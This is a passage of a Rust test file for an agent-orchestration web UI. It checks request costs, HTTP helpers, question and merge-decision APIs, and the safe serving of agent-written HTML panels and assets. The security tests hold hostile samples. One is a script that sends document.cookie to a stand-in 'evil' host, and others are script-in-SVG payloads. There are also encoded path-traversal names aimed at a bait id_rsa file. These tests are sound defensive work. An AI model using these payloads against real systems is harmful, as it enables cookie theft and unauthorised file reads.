9303 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9304 seed_performance(&fx, &repos, n, runs, items);
9305 let mut costs = Vec::new();
9306 for endpoint in ["questions", "talks", "health", "stats"] {
9307 for repo in &repos {
9308 let cache = repo.join(".git/magi/config");
9309 if cache.exists() {
9310 std::fs::remove_dir_all(cache).unwrap();
9311 }
9312 }
9313 let (_, cost) = request_cost::measure(async {
9314 match endpoint {
9315 "questions" => {
9316 let _ = questions_list(State(ui.clone())).await.unwrap();
9317 }
9318 "talks" => {
9319 let _ = talks_list(
9320 State(ui.clone()),
9321 Query(ListQuery {
9322 limit: None,
9323 ids: None,
9324 }),
9325 )
9326 .await
9327 .unwrap();
9328 }
9329 "health" => {
9330 let _ = health(State(ui.clone())).await.unwrap();
9331 }
9332 _ => {
9333 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9334 .await
9335 .unwrap();
9336 }
9337 }
9338 })
9339 .await;
9340 eprintln!("{endpoint} handler N={n}: {cost:?}");
9341 assert_eq!(
9342 cost.0,
9343 if endpoint == "talks" { 2 } else { 1 },
9344 "{endpoint}"
9345 );
9346 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9347 costs.push(cost);
9348 }
9349 if let Some(previous) = previous {
9350 assert_eq!(costs, previous);
9351 }
9352 previous = Some(costs);
9353 }
9354 }
9355
9356 #[tokio::test]
9357 async fn list_request_cost_scopes_do_not_mix() {
9358 let (_tmp, repos, fx) = performance_fixture().await;
9359 seed_performance(&fx, &repos, 10, 0, 10);
9360 let (questions, talks, notices) = tokio::join!(
9361 fx.get("/api/questions"),
9362 fx.get("/api/talks"),
9363 fx.get("/api/notifications")
9364 );
9365 assert_eq!(request_counts(&questions).0, 1);
9366 assert_eq!(request_counts(&talks).0, 2);
9367 assert_eq!(request_counts(¬ices), (0, 0));
9368 }
9369
9370 #[tokio::test]
9371 async fn list_endpoints_large_home_ceiling() {
9372 let (_tmp, repos, fx) = performance_fixture().await;
9373 seed_performance(&fx, &repos, 200, 300, 400);
9374 let mut failures = Vec::new();
9375 for path in [
9378 "/",
9379 "/app.js",
9380 "/app.css",
9381 "/api/questions",
9382 "/api/runs?limit=300",
9383 "/api/queue",
9384 "/api/talks",
9385 "/api/notifications",
9386 "/api/health",
9387 "/api/stats",
9388 "/api/loop",
9389 "/api/settings",
9390 "/api/repos",
9391 ] {
9392 let start = std::time::Instant::now();
9393 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9394 let elapsed = start.elapsed();
9395 eprintln!("{path}: {elapsed:?}");
9396 match result {
9397 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9398 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9399 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9400 }
9401 }
9402 assert!(failures.is_empty(), "{}", failures.join("\n"));
9403 }
9404
9405 struct Res {
9406 status: u16,
9407 headers: String,
9408 head: String,
9413 body: String,
9414 bytes: Vec<u8>,
9418 }
9419
9420 impl Res {
9421 fn json(&self) -> Value {
9422 serde_json::from_str(&self.body)
9423 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9424 }
9425
9426 fn header(&self, name: &str) -> Option<&str> {
9428 self.head.lines().find_map(|line| {
9429 let (key, value) = line.split_once(':')?;
9430 key.trim()
9431 .eq_ignore_ascii_case(name)
9432 .then(|| value.trim_start().trim_end_matches('\r'))
9433 })
9434 }
9435 }
9436
9437 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9440 request_with(addr, method, path, body, &[]).await
9441 }
9442
9443 async fn request_with(
9447 addr: SocketAddr,
9448 method: &str,
9449 path: &str,
9450 body: Option<&str>,
9451 extra: &[(&str, &str)],
9452 ) -> Res {
9453 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9454 for (name, value) in extra {
9455 head.push_str(&format!("{name}: {value}\r\n"));
9456 }
9457 if let Some(body) = body {
9458 head.push_str("Content-Type: application/json\r\n");
9459 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9460 }
9461 head.push_str("\r\n");
9462 if let Some(body) = body {
9463 head.push_str(body);
9464 }
9465 let mut socket = tokio::net::TcpStream::connect(addr)
9466 .await
9467 .expect("connect to the test server");
9468 socket
9469 .write_all(head.as_bytes())
9470 .await
9471 .expect("write request");
9472 let mut raw = Vec::new();
9473 socket.read_to_end(&mut raw).await.expect("read response");
9474 let split = raw
9477 .windows(4)
9478 .position(|w| w == b"\r\n\r\n")
9479 .expect("a header block");
9480 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9481 let bytes = raw[split + 4..].to_vec();
9482 let status = head
9483 .lines()
9484 .next()
9485 .and_then(|line| line.split_whitespace().nth(1))
9486 .and_then(|code| code.parse().ok())
9487 .expect("a status line");
9488 Res {
9489 status,
9490 headers: head.to_lowercase(),
9491 head,
9492 body: String::from_utf8_lossy(&bytes).into_owned(),
9493 bytes,
9494 }
9495 }
9496
9497 async fn request_bytes(
9503 addr: SocketAddr,
9504 path: &str,
9505 headers: &[(&str, &str)],
9506 body: &[u8],
9507 ) -> Res {
9508 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9509 for (name, value) in headers {
9510 head.push_str(&format!("{name}: {value}\r\n"));
9511 }
9512 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9513 let mut socket = tokio::net::TcpStream::connect(addr)
9514 .await
9515 .expect("connect to the test server");
9516 socket
9517 .write_all(head.as_bytes())
9518 .await
9519 .expect("write request head");
9520 socket.write_all(body).await.expect("write request body");
9521 let mut raw = Vec::new();
9522 socket.read_to_end(&mut raw).await.expect("read response");
9523 let split = raw
9524 .windows(4)
9525 .position(|w| w == b"\r\n\r\n")
9526 .expect("a header block");
9527 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9528 let bytes = raw[split + 4..].to_vec();
9529 let status = head
9530 .lines()
9531 .next()
9532 .and_then(|line| line.split_whitespace().nth(1))
9533 .and_then(|code| code.parse().ok())
9534 .expect("a status line");
9535 Res {
9536 status,
9537 headers: head.to_lowercase(),
9538 head,
9539 body: String::from_utf8_lossy(&bytes).into_owned(),
9540 bytes,
9541 }
9542 }
9543
9544 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9546 let mut state = RunState::new(
9547 PathBuf::from("/repo/magi"),
9548 "main".to_owned(),
9549 "0123456789abcdef".to_owned(),
9550 "Add a web UI\n\nMobile first.".to_owned(),
9551 Config::default(),
9552 );
9553 state.id = id.to_owned();
9554 state.status = status;
9555 let dir = runs.join(id);
9556 std::fs::create_dir_all(&dir).expect("run dir");
9557 std::fs::write(
9558 dir.join("run.json"),
9559 serde_json::to_string_pretty(&state).expect("serialize run"),
9560 )
9561 .expect("write run.json");
9562 }
9563
9564 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9568 let mut state = RunState::new(
9569 PathBuf::from(repo),
9570 "main".to_owned(),
9571 "0123456789abcdef".to_owned(),
9572 "task".to_owned(),
9573 Config::default(),
9574 );
9575 state.id = id.to_owned();
9576 state.status = status;
9577 let dir = runs.join(id);
9578 std::fs::create_dir_all(&dir).expect("run dir");
9579 std::fs::write(
9580 dir.join("run.json"),
9581 serde_json::to_string_pretty(&state).expect("serialize run"),
9582 )
9583 .expect("write run.json");
9584 }
9585
9586 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9587 let body = serde_json::json!({
9588 "schema": 1,
9589 "pid": 4242,
9590 "started_at": Timestamp::now().to_string(),
9591 "updated_at": updated_at.to_string(),
9592 "idle": false,
9593 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9594 "completed": 7,
9595 "polls": 143,
9596 });
9597 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9598 }
9599
9600 fn launch_idle(
9610 _opts: daemon::Opts,
9611 stop: daemon::Stop,
9612 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9613 Box::pin(async move {
9614 while !stop.stopped() {
9615 tokio::time::sleep(Duration::from_millis(2)).await;
9616 }
9617 Ok(())
9618 })
9619 }
9620
9621 fn launch_broken(
9624 _opts: daemon::Opts,
9625 _stop: daemon::Stop,
9626 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9627 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9632 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9633 Box::pin(async move {
9634 Err(anyhow::anyhow!(if first {
9635 "publish the daemon status file: read-only file system"
9636 } else {
9637 "the restarted stand-in failed as well"
9638 }))
9639 })
9640 }
9641
9642 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9649 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9650
9651 fn launch_knocking_on_the_way_out(
9658 _opts: daemon::Opts,
9659 stop: daemon::Stop,
9660 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9661 Box::pin(async move {
9662 while !stop.stopped() {
9663 tokio::time::sleep(Duration::from_millis(2)).await;
9664 }
9665 let addr = PARK_KNOCK
9666 .lock()
9667 .expect("park knock")
9668 .expect("the test set an address");
9669 let heard = request(addr, "GET", "/api/health", None).await.status;
9670 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9671 Ok(())
9672 })
9673 }
9674
9675 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9684 for _ in 0..SETTLE_STEPS {
9685 let view = fx.get("/api/loop").await.json();
9686 if want(&view) {
9687 return view;
9688 }
9689 tokio::time::sleep(Duration::from_millis(10)).await;
9690 }
9691 panic!(
9692 "the loop never settled: {}",
9693 fx.get("/api/loop").await.json()
9694 );
9695 }
9696
9697 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9699 let store = fx.questions();
9700 let mut q = Question::new(
9701 "20260902-000000-beef".to_owned(),
9702 "implement".to_owned(),
9703 "impl-A".to_owned(),
9704 summary.to_owned(),
9705 "because it matters".to_owned(),
9706 choices.iter().map(|c| (*c).to_owned()).collect(),
9707 );
9708 store.put(&mut q).expect("put question");
9709 q.id
9710 }
9711
9712 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9718 let store = fx.questions();
9719 let mut q = Question::new(
9720 "20260902-000000-beef".to_owned(),
9721 "land".to_owned(),
9722 "fix".to_owned(),
9723 "Merge this?".to_owned(),
9724 "the diff is in the panel".to_owned(),
9725 vec!["merge".to_owned(), "hold".to_owned()],
9726 );
9727 let staging = fx.home.path().join("staging");
9730 std::fs::create_dir_all(&staging).expect("staging dir");
9731 let sources: Vec<PathBuf> = assets
9732 .iter()
9733 .map(|(name, bytes)| {
9734 let path = staging.join(name);
9735 std::fs::write(&path, bytes).expect("write staged asset");
9736 path
9737 })
9738 .collect();
9739 store
9740 .put_panel(&mut q, html, &sources)
9741 .expect("write the panel");
9742 store.put(&mut q).expect("put question");
9743 q.id
9744 }
9745
9746 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9755 seed_talk_at(&fx.talks(), id, status)
9756 }
9757
9758 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9759 std::fs::create_dir_all(store.root()).expect("talks dir");
9760 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9761 .expect("serialize a seat");
9762 let body = serde_json::json!({
9763 "schema": 1,
9764 "id": id,
9765 "repo": "/repo/magi",
9766 "agent": "mock",
9767 "status": status,
9768 "turns": [],
9769 "created_at": Timestamp::now().to_string(),
9770 "updated_at": Timestamp::now().to_string(),
9771 "seat": seat,
9772 });
9773 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9774 store.get(id).expect("the seeded talk has to be readable");
9775 id.to_owned()
9776 }
9777
9778 #[tokio::test]
9779 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9780 let fx = Fixture::start().await;
9781 let id = panel(
9782 &fx,
9783 "<h1>Merge?</h1><img src=\"diff.svg\">",
9784 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9785 );
9786
9787 for path in [
9788 format!("/api/questions/{id}/panel"),
9789 format!("/api/questions/{id}/asset/diff.svg"),
9790 ] {
9791 let res = fx.get(&path).await;
9792 assert_eq!(res.status, 200, "{path}: {}", res.body);
9793 assert_eq!(
9799 res.header("content-security-policy"),
9800 Some(
9801 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9802 font-src data:; base-uri 'none'; form-action 'none'; \
9803 frame-ancestors 'self'"
9804 ),
9805 "{path} is the only thing between a hostile panel and the tailnet"
9806 );
9807 assert_eq!(
9808 res.header("x-content-type-options"),
9809 Some("nosniff"),
9810 "{path}: a browser must not re-decide the type we sent"
9811 );
9812 assert_eq!(
9813 res.header("referrer-policy"),
9814 Some("no-referrer"),
9815 "{path}: a panel must not leak the question id off the machine"
9816 );
9817
9818 let pre = fx.head(&path).await;
9823 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9824 assert_eq!(
9825 pre.header("content-security-policy"),
9826 res.header("content-security-policy"),
9827 "{path}: the preflight carries the same policy"
9828 );
9829 assert_eq!(
9830 pre.header("content-type"),
9831 res.header("content-type"),
9832 "{path}: the preflight carries the same type"
9833 );
9834 }
9835 }
9836
9837 #[tokio::test]
9838 async fn a_panel_reaches_the_browser_byte_for_byte() {
9839 let fx = Fixture::start().await;
9840 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9845 let id = panel(&fx, html, &[]);
9846
9847 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9848
9849 assert_eq!(res.status, 200);
9850 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9851 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9852 assert_eq!(
9853 res.header("content-disposition"),
9854 None,
9855 "the panel itself is rendered in the frame, not downloaded"
9856 );
9857 }
9858
9859 #[tokio::test]
9860 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9861 let fx = Fixture::start().await;
9862 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9863 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9864 let id = panel(
9865 &fx,
9866 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9867 &[("diff.svg", svg), ("shot.png", png)],
9868 );
9869
9870 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9871 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9872
9873 assert_eq!(as_svg.status, 200);
9874 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9875 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9880
9881 assert_eq!(as_png.status, 200);
9882 assert_eq!(as_png.header("content-type"), Some("image/png"));
9883 assert_eq!(
9884 as_png.header("content-disposition"),
9885 None,
9886 "a raster image has no execution surface, so tapping it still shows it"
9887 );
9888 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9889 }
9890
9891 #[tokio::test]
9892 async fn an_html_asset_is_never_served_as_html() {
9893 let fx = Fixture::start().await;
9894 let id = panel(
9895 &fx,
9896 "<p>see the notes</p>",
9897 &[
9898 (
9899 "notes.html",
9900 b"<script>fetch('http://evil/'+document.cookie)</script>",
9901 ),
9902 ("hook.js", b"fetch('http://evil/')"),
9903 ("data.json", b"{}"),
9904 ("HEADLINE.TXT", b"plain"),
9905 ],
9906 );
9907
9908 for name in ["notes.html", "hook.js", "data.json"] {
9909 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9910 assert_eq!(res.status, 200, "{name}: {}", res.body);
9911 assert_eq!(
9916 res.header("content-type"),
9917 Some("application/octet-stream"),
9918 "{name} must not be a type the browser will execute or render"
9919 );
9920 }
9921 let txt = fx
9924 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9925 .await;
9926 assert_eq!(
9927 txt.header("content-type"),
9928 Some("text/plain; charset=utf-8")
9929 );
9930 }
9931
9932 #[tokio::test]
9933 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9934 let fx = Fixture::start().await;
9935 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9936 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9940
9941 for encoded in [
9948 "%2e%2e%2fid_rsa",
9949 "..%2fid_rsa",
9950 "..%5cid_rsa",
9951 "%2e%2e%5cid_rsa",
9952 "diff%00.svg",
9953 "..",
9954 ".hidden",
9955 "%2e%2e%2f%2e%2e%2fid_rsa",
9956 ] {
9957 let res = fx
9958 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9959 .await;
9960 assert_eq!(
9961 res.status, 400,
9962 "`{encoded}` has to be refused by name, not looked up: {}",
9963 res.body
9964 );
9965 assert!(res.json()["error"].is_string(), "{}", res.body);
9966 }
9967
9968 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9974 let res = fx
9975 .get(&format!("/api/questions/{id}/asset/{literal}"))
9976 .await;
9977 assert_eq!(
9978 res.status, 404,
9979 "`{literal}` must not match the asset route at all: {}",
9980 res.body
9981 );
9982 }
9983 }
9984
9985 #[tokio::test]
9986 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9987 let fx = Fixture::start().await;
9988 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9989 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9990
9991 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9995 assert_eq!(none.status, 404, "{}", none.body);
9996 assert!(none.json()["error"].is_string(), "{}", none.body);
9997 assert_eq!(
9998 fx.head(&format!("/api/questions/{plain}/panel"))
9999 .await
10000 .status,
10001 404,
10002 "the preflight is the only way the client can learn this"
10003 );
10004
10005 let missing = fx
10007 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10008 .await;
10009 assert_eq!(missing.status, 404, "{}", missing.body);
10010 assert!(missing.json()["error"].is_string(), "{}", missing.body);
10011
10012 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10014 assert_eq!(
10015 fx.get("/api/questions/nope/asset/diff.svg").await.status,
10016 404
10017 );
10018 }
10019
10020 #[tokio::test]
10021 async fn a_run_with_an_open_question_reads_as_waiting() {
10022 let fx = Fixture::start().await;
10023 let run = "20260902-000000-beef".to_owned();
10024 write_run(&fx.runs(), &run, RunStatus::Implementing);
10025
10026 let before = fx.get("/api/runs").await.json();
10027 assert_eq!(before[0]["waiting"], false, "{before}");
10028
10029 let store = fx.questions();
10030 let mut q = Question::new(
10031 run.clone(),
10032 "implement".to_owned(),
10033 "impl-A".to_owned(),
10034 "Which backend?".to_owned(),
10035 String::new(),
10036 vec!["SQLite".to_owned()],
10037 );
10038 store.put(&mut q).expect("put");
10039
10040 let during = fx.get("/api/runs").await.json();
10041 assert_eq!(during[0]["waiting"], true, "{during}");
10042
10043 q.answer(Answer::Choice("SQLite".to_owned()))
10046 .expect("answer");
10047 store.put(&mut q).expect("put");
10048 let after = fx.get("/api/runs").await.json();
10049 assert_eq!(after[0]["waiting"], false, "{after}");
10050 }
10051
10052 #[tokio::test]
10053 async fn an_open_question_is_listed_and_counted_by_health() {
10054 let fx = Fixture::start().await;
10055 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10056
10057 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10058 let listed = fx.get("/api/questions").await.json();
10059 assert_eq!(listed.as_array().expect("array").len(), 1);
10060 assert_eq!(listed[0]["id"], id);
10061 assert_eq!(listed[0]["status"], "open");
10062 assert_eq!(listed[0]["choices"][1], "Redis");
10063 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10066 }
10067
10068 #[tokio::test]
10069 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10070 let fx = Fixture {
10071 home: TempDir::new().unwrap(),
10072 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10073 };
10074 for choice in [
10075 crate::land::HOLD,
10076 crate::merge_decision::WITHDRAW,
10077 "reimplement:beta",
10078 ] {
10079 let mut q = Question::new(
10080 "old-run".into(),
10081 crate::land::APPROVAL_NODE.into(),
10082 "land".into(),
10083 "Decision".into(),
10084 "Review findings".into(),
10085 vec![
10086 "merge".into(),
10087 "hold".into(),
10088 crate::merge_decision::WITHDRAW.into(),
10089 "reimplement:beta".into(),
10090 ],
10091 );
10092 q.merge_target = Some(crate::merge_decision::Target {
10093 pr: "https://github.com/example/repo/pull/42".into(),
10094 head: "exact-reviewed-head".into(),
10095 language: "ja".into(),
10096 });
10097 fx.questions().put(&mut q).unwrap();
10098 let ui = Arc::new(Ui::new(
10099 fx.queue(),
10100 fx.questions(),
10101 fx.talks(),
10102 fx.runs(),
10103 fx.home.path().into(),
10104 std::path::PathBuf::from("."),
10105 ));
10106 let response = question_answer(
10107 State(ui.clone()),
10108 Path(q.id.clone()),
10109 Ok(Json(NewAnswer {
10110 choice: Some(choice.into()),
10111 text: None,
10112 })),
10113 )
10114 .await
10115 .unwrap();
10116 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10117 let disk = fx.questions().get(&q.id).unwrap();
10118 assert_eq!(disk.merge_target, q.merge_target);
10119 assert_eq!(disk.resolution().as_deref(), Some(choice));
10120 assert!(
10121 question_answer(
10122 State(ui),
10123 Path(q.id.clone()),
10124 Ok(Json(NewAnswer {
10125 choice: Some("merge".into()),
10126 text: None
10127 }))
10128 )
10129 .await
10130 .is_err(),
10131 "an already settled decision cannot turn into merge approval"
10132 );
10133 }
10134 }
10135
10136 #[tokio::test]
10137 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10138 let fx = Fixture {
10139 home: TempDir::new().unwrap(),
10140 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10141 };
10142 let mut state = crate::land::tests::repair_state(true, true);
10143 state.status = RunStatus::Landing;
10144 state.parked = true;
10145 state.driver_exited = true;
10146 let mut task = Task::new(
10147 "Existing PR owner".into(),
10148 state.instruction.clone(),
10149 state.repo.clone(),
10150 Source::Human,
10151 );
10152 task.runs.push(state.id.clone());
10153 task.status = TaskStatus::Parked;
10154 fx.queue().put(&mut task).unwrap();
10155 let mut q = Question::new(
10156 state.id.clone(),
10157 crate::land::APPROVAL_NODE.into(),
10158 "land".into(),
10159 "Contested merge".into(),
10160 "Original evidence".into(),
10161 vec!["merge".into(), "hold".into()],
10162 );
10163 state.land_approval = Some(crate::run::LandApproval {
10164 question: q.id.clone(),
10165 head: "reviewed-head".into(),
10166 });
10167 state.save_under(fx.home.path()).unwrap();
10168 fx.questions().put(&mut q).unwrap();
10169 task.hold_manual(Some("Pause this PR".into()));
10171 fx.queue().put(&mut task).unwrap();
10172 let ui = Arc::new(Ui::new(
10175 fx.queue(),
10176 fx.questions(),
10177 fx.talks(),
10178 fx.runs(),
10179 fx.home.path().to_path_buf(),
10180 state.repo.clone(),
10181 ));
10182 let response = question_answer(
10183 State(ui),
10184 Path(q.id.clone()),
10185 Ok(Json(NewAnswer {
10186 choice: Some(crate::land::REPAIR.into()),
10187 text: None,
10188 })),
10189 )
10190 .await
10191 .unwrap();
10192 assert_eq!(response.0.question.id, q.id);
10193 let upgraded = fx.questions().get(&q.id).unwrap();
10194 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10195 assert!(upgraded.detail.starts_with("Original evidence"));
10196 let claim = fx.queue().claim(&task.id).unwrap();
10197 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10198 assert!(
10199 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10200 "an existing driver keeps its claim"
10201 );
10202 drop(claim);
10203 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10204 let resumed = fx.queue().get(&task.id).unwrap();
10205 assert_eq!(
10206 resumed
10207 .resume_override
10208 .as_ref()
10209 .unwrap()
10210 .pinned_run
10211 .as_deref(),
10212 Some(state.id.as_str())
10213 );
10214 assert!(resumed.status.runnable());
10215 assert_eq!(resumed.instruction, task.instruction);
10216 assert_eq!(resumed.runs, task.runs);
10217 assert!(resumed.action_applied(&q.id));
10218 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10219 assert_eq!(fx.queue().list().len(), 1);
10220 assert_eq!(
10221 fx.queue().get(&task.id).unwrap().resume_override,
10222 resumed.resume_override
10223 );
10224 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10225 assert!(
10226 disk.merge_repairs.is_empty(),
10227 "only the claimed run driver may execute repair"
10228 );
10229 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10230 }
10231
10232 #[tokio::test]
10233 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10234 let fx = Fixture::start().await;
10235 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10236 let path = format!("/api/questions/{id}/answer");
10237
10238 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10239 assert_eq!(res.status, 200, "{}", res.body);
10240 let body = res.json();
10241 assert_eq!(body["status"], "answered");
10242 assert_eq!(body["answer"]["choice"], "Redis");
10243
10244 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10248 assert_eq!(again.status, 409, "{}", again.body);
10249 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10250 }
10251
10252 #[tokio::test]
10253 async fn saying_something_appends_a_turn_without_answering() {
10254 let fx = Fixture::start().await;
10255 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10256 let path = format!("/api/questions/{id}/say");
10257
10258 let res = fx
10259 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
10260 .await;
10261 assert_eq!(res.status, 200, "{}", res.body);
10262 let body = res.json();
10263 assert_eq!(body["status"], "open", "talking back is not a decision");
10264 assert_eq!(body["answer"], Value::Null);
10265 assert_eq!(body["thread"][0]["who"], "operator");
10266 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
10267 assert_eq!(body["waiting_on_agent"], true);
10268 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10270 }
10271
10272 #[tokio::test]
10273 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
10274 let fx = Fixture::start().await;
10275 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10276
10277 let list = fx.get("/api/questions").await.json();
10278 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
10279
10280 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
10281 assert_eq!(res.status, 409, "{}", res.body);
10282 let q = fx.questions().get(&id).unwrap();
10283 assert!(q.status.open());
10284 assert!(q.consult.is_none());
10285 }
10286
10287 #[tokio::test]
10288 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
10289 let fx = Fixture::start().await;
10290 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10291 let cfg = Config {
10292 agents: vec![crate::config::AgentSpec {
10293 id: "mock".to_owned(),
10294 kind: crate::config::AgentKind::Command,
10295 model: None,
10296 command: vec!["true".to_owned()],
10297 extra_args: Vec::new(),
10298 env: Default::default(),
10299 prompt_delivery: None,
10300 }],
10301 ..Config::default()
10302 };
10303 let talk = crate::talk::begin(
10304 &fx.talks(),
10305 &cfg,
10306 fx.home.path().to_path_buf(),
10307 Some("mock"),
10308 )
10309 .unwrap();
10310 let mut task = Task::new(
10311 "t".to_owned(),
10312 "Do it".to_owned(),
10313 PathBuf::from("/repo/magi"),
10314 Source::Agent {
10315 run: talk.id.clone(),
10316 node: crate::queue::CHAT_NODE.to_owned(),
10317 },
10318 );
10319 task.start("20260902-000000-beef".to_owned());
10320 fx.queue().put(&mut task).unwrap();
10321
10322 let list = fx.get("/api/questions").await.json();
10323 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10324 assert_eq!(
10325 list[0]["choices"],
10326 serde_json::json!(["SQLite", "Redis"]),
10327 "the hand-over is never a choice"
10328 );
10329 fx.questions()
10330 .update(&id, |q| {
10331 q.node = crate::land::APPROVAL_NODE.into();
10332 q.choices = vec!["merge".into(), "hold".into()];
10333 Ok(())
10334 })
10335 .unwrap();
10336 let list = fx.get("/api/questions").await.json();
10337 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10338 assert_eq!(list[0]["can_consult_chat"], true);
10339 fx.questions()
10340 .update(&id, |q| {
10341 q.node = crate::bump::NOTICE_NODE.into();
10342 Ok(())
10343 })
10344 .unwrap();
10345 let list = fx.get("/api/questions").await.json();
10346 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10347 assert_eq!(list[0]["can_consult_chat"], false);
10348 }
10349
10350 #[tokio::test]
10351 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
10352 let fx = Fixture::start().await;
10353 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10354 fx.questions()
10355 .update(&id, |q| {
10356 q.node = crate::land::APPROVAL_NODE.into();
10357 q.choices = vec!["merge".into(), "hold".into()];
10358 Ok(())
10359 })
10360 .unwrap();
10361 let cfg = Config {
10362 agents: vec![crate::config::AgentSpec {
10363 id: "mock".to_owned(),
10364 kind: crate::config::AgentKind::Command,
10365 model: None,
10366 command: vec!["true".to_owned()],
10367 extra_args: Vec::new(),
10368 env: Default::default(),
10369 prompt_delivery: None,
10370 }],
10371 ..Config::default()
10372 };
